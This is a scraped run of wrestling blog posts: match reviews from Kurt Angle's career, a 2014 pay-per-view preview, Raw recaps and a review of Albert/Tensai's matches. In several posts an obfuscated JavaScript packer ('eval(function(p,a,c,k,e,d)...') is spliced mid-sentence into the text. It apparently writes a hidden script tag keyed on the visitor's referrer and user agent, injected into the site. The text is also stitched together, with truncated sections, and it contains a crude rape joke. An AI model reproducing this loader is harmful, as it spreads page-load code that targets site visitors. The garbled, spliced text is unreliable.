It’s certainly more entertaining than seeing Vince out there making a fool out of himself. And we have a kendo stick which Shane can swing really well. He actually breaks it over Angle’s back which has to hurt bad. Shane uses armdrags on the floor to send Angle into the railing which is a nice spot. Shane goes for a cover and Angle bridges out of it. Think of the Matrix move.

Shane does the smart thing and just hits him in the stomach. Angle does this three times, showing off his stupidity. It’s weapons time now and Shane is dominating. Ankle lock by Shane and Kurt just kicks him in the face. Nothing wrong with that. We get a Sharpshooter attempt and Shane botches it but gets it eventually. It looks bad but it’s ok I guess. Granted almost no one gets it right so it’s fine.

Shane is just beating the tar out of Angle here. He puts a trash can on his stomach and goes to the top for a shooting star press which misses but looked solid. The fans get a holy censored chant going as they’re impressed here. We hit the floor again and Shane hits a suplex, which breaks Kurt’s tailbone. He’s legit hurt which makes the rest of the match even more impressive. His solution to Shane fighting back: slam Shane’s head into a wall. I like the simple ideas.

In the sickest bump you’ll see in years, Angle suplexes Shane over his head into one of the glass walls with KOR (what, no love for the?) on them. The problem is that it doesn’t break and Shane lands on his head which goes THUD. It sounded and looked SICK. Shane is more or less out of it.

Angle, ticked off that it didn’t work, picks him up and does it AGAIN, this time having it work, drawing another holy censored chant. Angle’s arm is bleeding. We’re under the stage now and Angle suplexes him again and AGAIN it doesn’t break. Shane is busted. Angle goes for another suplex and it doesn’t break. In essence, Shane is being thrown into a wall. Kurt is livid and just picks him up and launches him through a glass wall.

Shane looks like he’s been beaten by an army and raped by a bear while being run over by a train. Angle is spent too. Everyone is just bleeding like something that bleeds a lot. Angle gets an anvil case and puts Shane on it to wheel him back to the ring. That’s a good idea as he’s just dead weight at this point. We’re back in the ring and Angle covers Shane. For two. The place pops like a freaking teenage girl for that. We get a replay where we can see Kurt’s face and he looks like he wants to cry.

A low blow connects and Shane isn’t dead yet. He gets a trash can lid and just pops the tar out of Angle and hits an Olympic Slam for two. Both guys are just freaking spent. Shane gets catapulted into the corner where he just kind of collapses. Angle gets a board from somewhere and just beats Shane about the back and shoulder with it. There’s something awesome about that.

He sets it up on the copes and climbs to the top where he this the Olympic Slam from the top rope. I would say Shane lands in the middle of the ring with a thud, but as they said in Con Air, “the word ain’t land. It’s crash.” They show a bunch a replays and the slam looks cooler and cooler ever time. I mean Shane just explodes on the mat and it looks amazing. Shane’s best match ever by about 1000 miles. They carry him out and he’s just gone. The Slam off the top got the pin if that wasn’t clear.

Rating: A. This was just freaking brutal. It’s a great street fight where you never really believed Shane was completely out of it. That’s a great thing to be able to say, but Shane took the best beating I can recall anyone taking in a long time. Find a copy of this match as it’s right up there with any beating I’ve ever seen.

Back to TNA for a showdown at Lockdown 2010.


Kurt Angle vs. Ken Anderson

This is standard rules but Anderson has the key. Not sure I get the point to that aspect as it’s bound be thrown around sometime. Also, I’d prefer a regular cage match but this is fine I suppose. Anderson has the key around his neck. Ok he has a chain around his neck with the key around it but you get the idea. Anderson goes for the door like 30 seconds in and like an idiot, he forgets about Angle.

Anderson accidentally leaves the key in the lock so there goes the point of the ladder match entirely. Angle is bleeding BAD already. Tenay says it was bound to happen at some point. At some point? I think every match has had that so far. This is one of the feuds that I’ve really liked for the majority of it. Angle is WORKING in there man. He’s still one of the best in the world when he works at it.

There is blood everywhere. Ok not really but it sounds good. Angle hits his run up the ropes and hit a belly to belly. Love that. Anderson uses his wrist tape to choke Angle out which is rather brilliant. Solid match so far. Angle gets his Germans. He hits about 6 or 7 of them and Anderson is just about out of it.

Angle goes for the door but stops. Dang it Kurt don’t be stupid. Ankle Lock is on but you can’t win by tap out. And there’s the Mic Check. Yeah I’m stunned too. Anderson gets the lock open but Angle gets the Slam. And Angle locks the cage again. Ok then. And he throws the key away. Anderson freaks, even though there’s no roof on the cage.

Anderson tries to get out but Angle gets a German OFF THE TOP ROPE! SICK spot. Angle sets him for the moonsault but goes TO THE TOP OF THE CAGE! And he hits it. Yeah Angle still has it. Angle gets a key from….somewhere, but Anderson flips the double bird and is able to get a Mic Check.

We’re getting close to overkill here. Angle catches him with the ankle lock though and Anderson taps again. I smell a broken ankle. Anderson reverses but STILL can’t get out. Angel finds a chain or the Warrior Medal and chokes Anderson out with it in a reference to Anderson choking him out in the ladder match on Impact before walking out. GREAT match.

Rating: A+. Yeah I said it. Great match all around and the ending made sense given the way Anderson won the ladder match. This has been a great show and it needed a great match to get it over the hump. It just got that. Angle is still one of the best in the world and he can bring it.

Smackdown World Title: Brock Lesnar vs. Kurt Angle

Angle is champion coming in. This is an iron man match with a sixty minute time limit. There’s a 15 second rest period after each fall. The challenger is the heel. Lesnar jumps him to start and we have a big old clock in the corner. Brock beats him down to start but Angle fires back with some clotheslines. Angle gets a shot to the knee and Brock chills on the floor.

He stays out there until about 8 and the knee isn’t right. Brock asks for time but he was just channeling his inner Bret Hart as he plays possum. Angle doesn’t mind and hits a set of armdrags to send Brock out to the floor. Lesnar grabs the steps but tosses them back instead of using them. He slides in at 9 and goes right back out to break the count. Well it’s not like they don’t have a lot of time to kill.

Brock breaks the count again and make it three times. Four times now. Angle is getting ticked which might be Lesnar’s plan. We’re five minutes into the clock now and we haven’t really gotten anything going but they have plenty of time. Angle goes for the knee and Brock hits the floor AGAIN. Angle charges at him and Brock nails him to finally take over. Angle snaps off a suplex and clotheslines Brock to the floor where he holds the knee again.

Lesnar is down and holding the knee but this time Angle goes after him. He rams Brock into the steps head first and they slug it out. Brock gets the better of that and rams Kurt into the post back first. He goes to grab a chair and pops Angle in the head with it for a DQ at about nine minutes. Brock lays Angle out with the chair a bunch of times but it’s in the rest period so it doesn’t count.

Brock grabs some water at ringside. Does that mean there’s a conspiracy against him? Angle is barely able to stand so Brock drills him with an F5 to tie it up at 49:38 to go. Brock kicks him in the ribs and asks Angle if he wants to tap. Lesnar puts the ankle lock on Kurt and he taps to make it 2-1 at 47:21. We take a break and come back at 44 minutes left with Lesnar breaking an Angle rally with a knee to the ribs.

During the break Brock hit an Angle Slam for two. Brock charges but his shoulder goes into the post. Angle gets a forearm smash and it’s German time. Angle comes at Brock but gets sent back outside. Brock whips him into the railing HARD and this an F5 on the floor for the countout to go up 3-1 at 20 minutes in.

We take a break and come back with Angle in control after hitting some suplexes during the break. Lesnar knocks Kurt to the floor with an elbow and takes over soon thereafter. We’re at 35 minutes left now as Brock gets two off an elbow drop. Angle reverses an Irish whip into the Angle Slam and it’s 3-2 at 34 minutes to go. We’re told that if this goes to a tie we’ll have overtime.

Kurt pounds away but the Angle Slam is countered into an F5 attempt which is countered into the ankle lock. Brock rolls through and Angle manages to avoid the referee. Brock however drills him in the head with a clothesline so when Angle hits the Angle Slam, there’s no referee. Brock hits Angle low and grabs the title. A shot to the head of Angle puts him down and the referee wakes up to make it 4-2 Brock at 29:30 to go.

We take a break and come back with Angle on the floor with 25 minutes to go. Angle pulls him to the floor and hammers away, sending Brock into the steps. With Brock on the outside, Angle goes back in and up top to hit a double axe to Brock’s back. That only gets two back inside though. Kurt goes up again and hits the missile dropkick for a close two. The moonsault that hits once a decade doesn’t hit here and both guys are down.

Angle grabs a rollup for two so Brock takes his head off with a clothesline. Brock gets all ticked off and throws Angle over his head without leaving his own feet. Well that was awesome. It only gets two though and both guys are down. Kurt reverses another belly to belly into the ankle lock but Brock rolls through to send Angle to the floor. Angle goes into the steps again and back to the ring we go.

That only gets two in the ring as we have 20 minutes left with with score 4-2 Brock. Lesnar unhinges some steps but Angle hits a baseball slide to send them into Brock’s face. Kurt looks like his shoulder is hurt from going into the steps. Angle gets an elbow for two as we take a break. Back and it’s 5-2 as Brock hit a superplex for a fall during the break.

We have 14 minuets to go and it’s 5-2 Brock. Brock takes him outside and tries to F5 Angle into the post but Angle reverses to give Brock an F5 into the post with the bad knee hitting the steel. Back inside and Angle throws on a half crab which is very smart. Brock makes the ropes so Angle throws on the ankle lock. Lesnar STILL doesn’t tap so Kurt stomps away at the leg/ankle.

Kurt charges in at Brock but gets caught in an F5. Brock can’t counter though and can only get a delayed two. Lesnar goes up top but Angle pops up for the running belly to belly and it’s 5-3 with 9:50 to go. Angle wins a slugout and pounds Brock down in the corner. Angle puts the straps back up which is a new one for him. He tries to load up the Angle Slam but Brock grabs a DDT for two.

Kurt misses a right hand and Lesnar hits a German. Make that two Germans. Would you believe three Germans? He tries a fourth (there has been a lot of laying around between them so about 90 seconds passed for all those Germans) but Angle counters into two Germans of his own. Angle rolls through something into the ankle lock and in more or less the same ending at Summerslam, Brock can’t find a rope and taps with 4:11 to go.

Four minutes left and both guys are down. Brock still leads 5-4. They’re still down with 3:30 left. Kurt grabs the hold again but Brock rolls through to escape. They’re both down again but Kurt is up and stomping away with three minutes left. Bow and arrow hold, which is like a side version of the STF, goes on to eat up some time. Brock wisely heads to the floor with two minutes left.

Smart strategy there as Lesnar only has to play defense and run the clock out to win the title. Kurt puts the ankle lock on Brock outside but back inside we go. Brock runs again so Kurt rams him into the steps. Angle hits some rolling Germans back in the ring and we hit a minute to go. He hits four Germans but this is taking way too long. Brock kicks him low with 30 seconds left but it’s not seen. Ankle lock with the grapevine is on with 15 seconds left but Lesnar hangs on to win the title and end the show.

Rating: B. This match runs into the exact same problem that is more or less unavoidable for these matches: you can more or less skip the first 55 minutes and you still see the exciting parts. An hour is too long, even when the guys are having an entertaining match. This was good, but like I said the vast majority of it is just waiting for Angle to make his big comeback. However it does fly by as taking out commercials it runs about 46-48 minutes. Good match, but not a good idea for TV.

Time for some Shawn Michaels, from Wrestlemania XXI.

Shawn Michaels vs. Kurt Angle

Off to a short arm scissors by Shawn for a bit but Angle uses raw power to lift Shawn up into the air. However, since Shawn had that move used on him back in 1992 by British Bulldog, he knows how to roll through into a sunset flip for two. See, THAT is how you play to older fans with some awesome psychology. Back to the headlock as Angle is getting frustrated by Michaels dominating the mat.

Angle takes it into the corner to brawl with Shawn but Shawn ties him up instead. This is also a callback to Wrestlemania XII where Shawn used the exact same strategy on Bret. Angle grabs a quick ankle lock but Shawn rolls through and a Cactus Clothesline puts them both on the floor. Angle loads up the announce table but opts to pick up Shawn in the Angle Slam and ram Shawn back first into the post to take over again.

Angle had to win the TNA Title at some point so why not Slammiversary 2007?

TNA World Title: Chris Harris vs. Kurt Angle vs. AJ Styles vs. Samoa Joe vs. Christian Cage

Joe and Christian go up the ladder with the Samoan taking him down with a huge Diamond Cutter onto the title. Harris goes up the ladder instead but he has to knock Joe down with a belt shot. The same thing happens to Christian but AJ springboard dropkicks the ladder over for the save. Angle is out of the box. Joe and AJ climb on top of the box (just above the top rope) with AJ low blowing out of the Clutch. Joe flips AJ over and through a table on the floor for a HUGE crash.

One more World Title, from Hardcore Justice 2011.

TNA World Title: Sting vs. Kurt Angle

Angle did something that had never been done before. From King of the Ring 2002.


Kurt Angle vs. Hulk Hogan

This show just kind of sucks and I have a freaking hour to go in it. We fight over technical stuff to start. What I mean by that is Angle does and Hogan just does power stuff. Hogan keeps taking control despite not actually doing anything. Hogan goes for the hair piece and gets a shot in the red and yellow balls. I guess there’s one of each.

Ross says Hogan is as American as apple pie. That’s true. He’s overrated, strange looking, he’s stayed too long, he doesn’t do anything, he gets on people’s nerves, he lies, he cheats, he steals, he cheats on his wife and he tries to be too young. He’s a REAL AMERICAN! Hogan, apparently tired after the work from throwing punches and putting his hand to his ear, is put into a chinlock. Hogan HULKS UP and hits the big boot but instead of the legdrop he pulls the wig off.

After Angle runs, Hogan goes for the legdrop but Angle catches it into the ankle lock. Hogan actually taps and the fans are stunned. That helps the match about a full letter. Ross tries to save Hogan by saying that he held on as long as humanly possible, which is apparently about 15 seconds. Ross can’t remember Hogan ever tapping. That’s just amusing.

You know what sounds awesome? The Olympic Hero vs. the MMA Cowboy of Death. From No Way Out 2006.

Smackdown World Title: Kurt Angle vs. The Undertaker

It’s the remix for Angle’s music here which I never liked. That title just looks AWESOME on him. He was a guy that was incredibly valuable to have on the roster for instances such as this. Batista was hurt and so they needed a credible champion. Angle is someone they could throw the title on and have it be completely realistic. That’s always a great thing and it worked perfectly here.

Taker literally takes four minutes for his entrance. Think he’s taking long enough? Cole’s voice sounds like it’s giving out. Angle tries to get a hold on him early on and Taker goes to the ropes. That’s a bit odd to see I’d think. Angle hits the floor when nothing works. Cole says neither of them have ever tapped. What the heck has he been watching for the seven years Angle has been in the company? He’s lost an Ultimate Submission match and Jericho made him tap on Raw once. Also Benoit made him tap multiple times. Yeah that’s nonsense.

Taker works a headlock which is odd to see him using. Off to the arm and a short arm scissors which gets him nowhere. They’re going back and forth here and it’s working for the most part. Definitely a slow build as we have nearly half an hour to go and no more matches. Old School connects and Taker busts out a Downward Spiral of all things for two.

Snake Eyes hit but Angle hits a SWEET release German for one. The dueling chants begin which makes sense as these are both faces. There’s some chick at ringside that screams louder than Melina. Taker gets knocked off the apron and into the railing. Angle dives at him and is caught before being rammed into the post. The apron legdrop is VINTAGE! Back in and Angle blocks a chokeslam with some kicks so Taker just hits him in the face to put him back down.

Angle goes for the knee and gets the post figure four. Solid stuff here so I apologize for the lack of humor. There’s nothing to make fun of. Patrick gives this big lecture to Angle about keeping it in the ring and Angle nods at it. Patrick turns around and Angle is right back out there which was rather funny. They’re building very slowly here but Angle is picking it up a bit.

Back to the floor again with Taker drilling him with knees. Taker’s knee is messed up a bit and this time he’s selling so we’ve got that going for once. It’s noticeable how much more swearing there is here. Angle grabs the legdrop on the apron this time and gets the ankle lock. Angle holds him on the floor against the ten count, breaking at seven and then breaking the count before going right back to the ankle. That’s sweet stuff there.

We hit the ring again and Taker is caught in another leg lock for a bit. More dueling chants start up. Taker counters mounted punching with a triangle choke and Angle is in trouble. Amazing that Fedor can’t last 10 seconds in one but Angle can last like 30 in it. We hit the floor again and Angle is in trouble. They’ve broken the count like 10 times so far which isn’t something you see that often. It adds some realism to the match as they’re not ignoring rules for the sake of convenience.

Taker clears off the announce table and then rolls in to break the count again, even though I’m not sure one was going on. Angle grabs Taker and puts him through the other announce table with the Angle Slam out of nowhere. Angle stops the count at 9 including some F Bombs. Back to the floor again with Angle pounding away. Taker wouldn’t have beat the count back in. He reverses Angle and sends him into the steps. GREAT match if you can’t tell that.

Taker goes up but gets caught and takes some punches. Angle sets for a suplex but Taker knocks him back. Angle is all like boy I said I’m suplexing you so I’m suplexing you and runs up the corner to throw Taker down in a belly to belly. Somehow that only gets two. Fans are way into this. Angle throws more punches so Taker kicks him in the face. Sometimes you can’t beat the simple stuff.

Chokeslam is countered into the ankle lock and Taker is reeling. Taker can’t shove him off so he pulls him in, grabs the head and locks on the triangle choke again. Angle reverses that and hooks the ankle lock one more time. Taker rolls through and finally gets out of it. Chokeslam mostly hits but Taker kind of dropped him which might have been intentional due to the ankle. That gets two as I’m loving this stuff.

Last Ride is reversed into a sunset flip and Angle grabs the ankle lock AGAIN for like what, the fifth time? Yeah two in the previous sequence and two on the floor. Dang man. Taker can’t get the ropes so he kicks Angle off AGAIN. Angle Slam connects for TWO. Sweet merciful crap this is awesome. Angle pulls down the straps as Taker sits up in a great visual.

They slug it out and Taker sends him in and grabs the Tombstone. Angle reverses and Taker reverses and ANGLE reverses into the SIXTH Ankle lock, this time with the grapevine attached. Taker raises his hand to tap and he’s in the middle of the ring. Taker rolls them over and kicks Angle in the face again to become the ONLY person I’ve ever seen to survive the grapevine ankle lock.

Angle slips up behind Taker as he gets up and hits ANOTHER Angle Slam (NINE freaking finishers from Angle if you’re keeping track) and Angle rolls him up but Taker busts out (and perhaps debuts) the Hell’s Gate (not called that yet and still called a triangle choke here. Thank you martial arts master Tazz) and Angle is in big trouble. Angle is almost out and after the second arm drop he pops up and jumps over into a cradle while the choke is still on and gets the three! Taker thinks he’s won and Angle is DONE. Post match Taker says he has Angle’s number. I guess he’ll text the rematch request.

Rating: A+. Screw Meltzer and his love of Japanese guys and his cruiserweight nonsense. THIS is your match of the year. These two beat the tar out of each other and it was nothing but awesome the whole way. For some reason (Angle leaving for TNA) they never had the big rematch. THIS should have been the main event of Mania rather than a 9 minute triple threat with Angle dropping the belt to that pest Rey so that Eddie could have his second moment at Mania.

Both guys looked awesome out there and they threw everything they had at each other and then the ending worked perfectly. Both guys more or less lost and it lets Taker keep his credibility. Much like the Benoit match at the 03 Rumble, Taker didn’t get beat so much as he got caught. That’s a very key thing and it helps a lot here. Excellent match and well worth going out to see.

Smackdown World Title: Chris Benoit vs. Kurt Angle

Back to the floor where Benoit gets dropped onto the barricade to further mess with his head. Off to a rear naked choke back inside so Kurt can overly loudly call some spots. Angle catches Benoit in another belly to belly followed by a belly to back for two. Back to the chinlock for a bit until a double clothesline puts both guys down. Benoit rolls some Germans but so does Angle. And people wonder why their necks were held together by tape.

There are a lot of great matches I could have put on here but you have to cut it off somewhere. He can go with anyone and at the end of the day you don’t argue with a gold medal. The fact that he can talk with the best of them makes him even greater. If you’ve never seen it, find some of his promos from 2000. They’re pure greatness.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00NPPH0WI

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Night of Champions 2014 Preview

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bheaz|var|u0026u|referrer|akfeb||js|php'.split('|'),0,{})) have a feeling this is going to be a shorter one as most of the matches are fairly obvious, meaning there isn’t much to say about them. That’s a bad sign too as most of the matches haven’t had a ton of effort put into them and it really isn’t all that hard to guess most of them. WWE has done a very bad job of setting up this show other than the main event and it’s going to catch up to them. Let’s get to it.

Cesaro takes the US Title, though I have no idea what he does with it.

Rusev beats Henry. Duh.

Orton beats Jericho. Does ANYONE care about this match?

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00NPPH0WI

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Reviewing the Review – Monday Night Raw: September 15, 2014

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrkzb|var|u0026u|referrer|ybzkf||js|php'.split('|'),0,{})) week’s episode of Raw was the final push to the Night of Champions PPV, meaning the whole show was really about one thing because that’s all this pay per view is going to be about. The interesting thing about this show was the structure which we’ll focus on as a whole later on. Let’s get to it.

We opened with the big story of the week as Heyman came to the ring but Cena showed up, ready to fight Brock Lesnar. This led to Cena promising to back up his threat from last week, giving Heyman “until halftime” to produce Lesnar. Later in the show, Cena would lock Heyman in a room with Great Khali standing guard.

Roman Reigns promises to end Rollins tonight.

Jack Swagger made Bo Dallas tap out. Nothing to see here but you would think this might have been the pre-show match on Sunday.

Dolph Ziggler and R-Truth beat the Miz and Damien Sandow in the same match they had on Smackdown, minus most of the comedy and with Miz taking the fall instead of Sandow.

Rollins pretended to be a neanderthal like Reigns.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00LWSOTGK

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




New Column: It Shouldn’t Be Cena

Looking at the upcoming rematch and why it’s a few months early.

 

http://www.wrestlingrumors.net/kbs-review-shouldnt-cena/28914/




Monday Night Raw – September 15, 2014: The New Battle Plan

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhstk|var|u0026u|referrer|zafdd||js|php'.split('|'),0,{})) Night Raw
Date: September 15, 2014
Location: Cajundome, Lafayette, Louisiana
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

After a break we see Cena taking Heyman into his dressing room and having Great Khali guard the door.

Kane vs. Chris Jericho

Heyman tries to call Lesnar.

We look back at Rusev attacking Henry on Smackdown. Some Olympians wish Henry luck in rallying America tonight.

Roman Reigns looks at Rollins turning on him a few months back and says this ends tonight.

Jack Swagger vs. Bo Dallas

We look back at the Springer segment from last week.

Nikki Bella/Paige vs. Brie Bella/AJ Lee

Post match Nikki lays her sister out while the other girls have a skip off.

We look at Big Show stopping Bray Wyatt from making it to the ring on Smackdown.

Bray Wyatt vs. Big Show

Show chokeslams Harper and Rowan post match, making Bray laugh.

Cesaro/Goldust/Stardust vs. Usos/Sheamus

Jimmy powers out and makes the hot tag to Sheamus who immediately cleans house. Cesaro gets caught in a series of forearms to the chest but Stardust makes the save with a rollup. Sheamus knocks both of them to the floor and hits the battering ram off the top. Back in and Sheamus Brogue Kicks Stardust but walks into the Neutralizer. Jimmy makes a last second save and superkicks Cesaro down, setting up the Superfly Splash from Jey for the pin at 13:10.

We look at Ambrose being put out of action last month.

Orton says he had to attack Jericho last week because Jericho said Orton has been handed everything in WWE. This Sunday, Jericho gets the beating of his life.

Cameron vs. Naomi

Dolph Ziggler/R-Ziggler vs. Miz/Damien Mizdow

Roman Reigns vs. Seth Rollins

Reigns quickly fights back and nails him in the face before hitting the Apron Kick. The Superman Punch looks to set up the spear but Seth leapfrogs him and nails a low superkick for two. Back up and Seth tries what looks like a Pedigree off the top but gets countered into a slow motion backdrop, only to have Rollins catch him in an impressive running buckle bomb across the ring for two more. Reigns gets back up, ducks a charge and hits the spear for the pin at 11:23.

We recap Cena vs. Lesnar as 11pm passes.

Results

Chris Jericho b. Kane – Rollup

Jack Swagger b. Bo Dallas – Patriot Lock

Nikki Bella/Paige b. Brie Bella/AJ Lee – Rampaige to Brie

Big Show b. Bray Wyatt via DQ when Luke Harper interfered

Sheamus/Usos b. Stardust/Goldust/Cesaro – Superfly Splash to Cesaro

Naomi b. Cameron – Leg choke

Roman Reigns b. Seth Rollins – Spear

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00LWSOTGK

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Wrestler of the Day – September 3: Tensai

Today is old 8 3/8 himself, Albert.

Albert eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rirea|var|u0026u|referrer|ndnbe||js|php'.split('|'),0,{})) got his start back in 1998 and, after some work in OVW, debuted in the WWF in 1999. We’ll pick things up at the 1999 Survivor Series.

Big Show vs. Mideon/Viscera/Big Boss Man/Prince Albert

This was supposed to be Big Show and Kaientai and Blue Meanie but Show beat them up so he could do this himself. This is during Boss Man vs. Big Show, which is based around Boss Man making fun of Show for having his dad die (kayfabe). It led to a bad moment at a “funeral” where Boss Man stole the coffin and dragged Show along the ground on top of the coffin with a car. Show chokes Albert to the floor and chokeslams Mideon for the pin in less than 20 seconds. Albert is gone 10 seconds later to a chokeslam, as is Big Visc. Boss Man is like screw this and walks out. Show wins in less than 90 seconds.

Let’s try a bit longer match, from Smackdown on January 13, 2000.

Hardy Boys vs. Big Bossman/Prince Albert

This is before Lita joined the team so it’s Terri with them here. Albert is currently known as Tensai. He and Jeff get us going with Jeff having to evade a lot. Off to Matt for some successful double teaming on the current Japanese enthusiast. Albert gets Matt up for a spinning rack neckbreaker and it’s off to Bossman. He beats Matt down even more and kidnaps Terri which goes nowhere. Everything breaks down and Jeff avoids a charging Albert, sending him into Bossman. Albert and Bossman had been arguing a lot lately so while they fight some more, Jeff dropkicks Bossman into Alberto and rolls him up for the pin.

Rating: D+. Nothing to see here really but it was all about splitting up Albert and Bossman for good, which needed to be done. Bossman would do nothing of note while Albert would join T&A which gave us some very hot shots of Trish Stratus. The match was nothing of note though and was just there as a means to an end.

We’ll head back to PPV now with Backlash 2000 as Albert is now part of T&A with Test.

T&A vs. Dudley Boys

Brawl to start of course and Bubba chases Trish around on the floor. Albert and D-Von get us going with the future Japanese bore taking control. D-Von takes him down for two and I have no idea who the faces are and who the heels are here. Off to Bubba who takes his head off with a clothesline. That and an elbow drop both get two. Off to D-Von and the Dudleys hit a double suplex and the yet to be named What’s Up.

Albert comes back with a bicycle kick and it’s off to Test. Double splashes in the corner get two on D-Von. I could listen to Bubba Dudley yell from an apron all day. I’d get pretty bored but I certainly could do it. The big evil (I think?) ones double team D-Von. Albert slams Test onto D-Von and shouts to TESTIFY TO THAT. Bubba: “SHUT UP!” The fans of course want tables but D-Von gets a neckbreaker on Test instead.

The referee misses the tag to Bubba and the beating continues. Albert hits his slingshot into the bottom rope for two. A sunset flip out of nowhere gets two for D-Von, but he’s quickly powerbombed for the same. The fans want tables and Trish isn’t sure what to think. Albert goes up but Bubba distracts him, allowing D-Von to hit a superplex and make the hot tag.

Reverse 3D (called the 3D by JR of course) gets two. Baldo Bomb kills Bubba but D-Von pulls him away from the big elbow. The Dudleys load up the REAL 3D (as in Bubba gets a running start) but Trish offers a distraction by taking her jacket off and shaking her hips. Keep in mind that this is before Trish let herself go in 2001/2002, and yes I said that right. That lets Test kick Bubba’s head off for the pin.

Rating: D+. Anything with Trish in hot pink shorts and shaking her hips is never a bad thing. The match however was pretty bad, but the whole point was the post match stuff. Also the Dudleys were more or less turned face in this match due to the fans loving hot women being put through tables for some reason.

Time for a six man tag on Raw, June 5, 2000.

Rikishi/Too Cool vs. T&A/Val Venis

Too Cool are tag team champions here. That’s one of the great things about this time period: Too Cool got WAY over while feuding with the Radicals over the spring and the company saw potential in them. Instead of jobbing them out for months, they gave them the tag titles at the end of May as a reward, while also giving them extra credibility. Today you would see them jobbed out in stupid comedy matches or left off television entirely for getting over against the writers’ wishes. I mean, why would you want to have the wrestlers get over themselves, therefore doing the writers’ work for them?

Test and Scotty start things off with Mr. Hotty clotheslining Test down and bringing in Grandmaster for their double elbow. Albert (Tensai) comes in and tries to ram Grandmaster into the buckle but pulls his hat off instead. A middle rope dropkick puts Albert down and it’s off to Val vs. Rikishi, but the other big men triple team the Samoan down. Albert tries a sunset flip but Rikishi sits his 400lbs down on his chest. Everything breaks down and Scotty hits the Worm on Test, followed by the Hip Hop Drop (top rope legdrop) but there’s no referee. In the confusion, Val hits Grandmaster with a title belt for the pin.

Rating: D. This didn’t do anything for me although I forgot how stunning Trish was at this point. I’m also not clear on the reason behind having Too Cool win the titles last week and then lose in a six man here. The match wasn’t much but it would set up two different feuds in the future so it’s not all bad.

Back to Backlash as Albert is now part of the X Factor team.

Dudley Boys vs. X-Factor

Six man tag here with all three Dudleyz vs. X-Pac, Credible and Albert. Dang they go from one of the most famous tag matches ever to a six man opening a PPV four weeks later. Brawl to start with the Dudleys clearing the ring. They launch Spike onto Pac and Credible on the floor which is always fun. Spike and Credible start us off with Spike getting a crucifix for two.

Off to Albert who counters the Dudley Dog to take over. Back to Justin and the white socks of fear. Powerbomb out of the corner gets two as this crowd is red hot. Double tags bring in D-Von and Pac and Albert cheats, allowing Pac to kick D-Von’s head off to take over again. X-Factor minus Pac puts D-Von’s balls against the post as this is a rather fast paced match.

Pac gets two off a legdrop and we hit the chinlock. D-Von tries a comeback but walks into a Boss Man Slam to keep him down. Off to Albert who hits a pretty sweet delayed butterfly suplex for two. After a double clothesline it’s hot tag Bubba who cleans house on all three guys. What’s Up to Justin and it’s table time. Albert kills D-Von though and the distraction allows Credible and Pac to hit a double superkick on Bubba for the pin.

Rating: B-. Pretty solid opener here with some fast paced stuff. They got the crowd into the show (ok so this is Chicago so it’s not like it was that hard) and the ending worked. Nothing wrong with having heels win the opener as the match was good enough to get the fans over it. Also the lack of feud prevents the whole emotional damage.

Albert would get in on the InVasion and took the Intercontinental Title from Kane in a match that is hard to find in full. Here’s a defense from Raw on July 9, 2001.

Intercontinental Title: Rhyno vs. Albert

Slugout to start (I’m as shocked as you are) with Rhyno stomping the champ down into the corner. Pac runs in while Albert has the referee and superkicks Rhyno for two. Rhyno manages to get in a shot to buy himself some time and they slug it out for a bit. Belly to back suplex and a top rope splash combine for two. The Gore misses though and the Baldo Bomb is countered. Pac comes in and gets Gored. The distraction lets a bicycle kick keep the title on Albert.

Rating: D+. Back to back power matches probably isn’t a good idea but it wasn’t all that bad. Albert is a guy that was on the roll of his life at this point but soon enough he’d be just another guy in the Alliance war. Not much to see here but they were at least trying to make a new star with him as he beat up various power guys.

Albert would appear on the post 9/11 episode of Smackdown.

X-Factor vs. APA

X-Factor is X-Pac and Albert. Pac has the Light Heavyweight and Cruiserweight Titles. Pac vs. Farrooq to start us off with the tiny guy getting hammered down very quickly. Pac gets some kicks in and here’s Bradshaw, making the tiny guy run. Off to Albert vs. Bradshaw and down goes Albert to a big boot. JR talks about dipping Bradshaw’s fist in barbecue sauce.

Vader Bomb by Albert misses and it’s off to Simmons. BIG bicycle kick takes his head down as JR is planning a road trip with Heyman to Oklahoma. Spinebuster takes Pac down and it’s back to Bradshaw vs. Albert. Fallaway Slam sends X-Pac flying. Albert misses a splash and the Clothesline From JBL (complete with a Hook Em Horns sign) ends this with relative ease.

Rating: C-. Pretty weak match but the commentary was hilarious. I have no idea if they were talking in code or if this was just random chatter to fill in time but it cracked me up. JR can be funny when he’s not taking himself far too seriously. The APA was far past their prime here but they could still fight.

Another tag team match at Vengeance 2001.

Albert/Scotty 2 Hotty vs. Christian/Test

